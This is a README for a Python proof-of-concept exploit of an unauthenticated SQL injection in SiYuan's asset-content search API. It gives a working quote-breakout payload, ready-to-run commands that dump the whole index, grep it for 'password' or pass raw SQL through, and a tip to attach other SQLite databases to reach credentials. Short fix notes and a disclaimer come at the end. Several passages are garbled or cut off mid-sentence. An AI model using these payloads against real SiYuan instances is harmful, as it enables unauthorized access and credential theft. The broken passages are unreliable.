
Python PoC for CVE-2026-69083, an unauthenticated SQL injection in SiYuan's asset-content search endpoint. Supports REGEXP breakout and raw SQL passthrough to dump indexed assets and attached SQLite data.
Unauthenticated SQL injection in SiYuan (a Go-based knowledge-base app) via the asset-content search endpoint.
POST /api/search/fullTextSearchAssetContent builds a raw SQL statement by concatenating the
user-controlled query value straight into a REGEXP clause with no escaping
(kernel/model/asset_content.go, assetContentFieldRegexp):
SELECT * FROM `asset_contents_fts_case_insensitive`
WHERE (name REGEXP '<query>' OR content REGEXP '<query>') AND ext IN <types>
A single quote in query breaks out of the string literal (CWE-89). When SiYuan is deployed
without an access-auth code (Conf.AccessAuthCode == ""), the whole kernel treats callers as
administrator with no credentials, so the injection is fully . is
the REGEXP break-out; additionally passes as a raw SQL statement.
method:3method:2query< 3.7.36806 (unauthenticated when no accessAuthCode is set)ATTACH DATABASE to other SQLite files) — e.g. dumping credentials operators indexed into notesPython 3 standard library only — no dependencies.
# dump the asset-content index (method 3 REGEXP break-out)
python3 exploit.py http://10.10.10.10:6806/
# only rows matching a keyword
python3 exploit.py http://10.10.10.10:6806/ --grep password
# method 2 raw SQL passthrough (select the 7 columns id,name,ext,path,size,updated,content)
python3 exploit.py http://10.10.10.10:6806/ \
--sql "SELECT id,name,ext,path,size,updated,content FROM asset_contents_fts_case_insensitive"
The default payload is:
query = "zzqx') OR 1=1 -- "
zzqx') closes the (name REGEXP '...' group,OR 1=1 makes the WHERE clause always true,-- comments out the rest of the line, including the trailing AND ext IN <types> — which is
otherwise a syntax error when types is empty (SiYuan emits AND ext IN with nothing
after it, and the kernel silently returns no rows on a SQL error).The endpoint then returns every row of the asset-content index, and the tool prints each row's
content.
curl -s http://10.10.10.10:6806/system_stats # or browse http://10.10.10.10:6806/ (no login prompt)
A SiYuan instance on port 6806 that loads without an access-auth code is exploitable.
... REGEXP ?) and gates the method-2
raw-SQL path behind an administrator check.--accessAuthCode; never expose it unauthenticated — with no
access-auth code the entire kernel API is administrator-open.For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.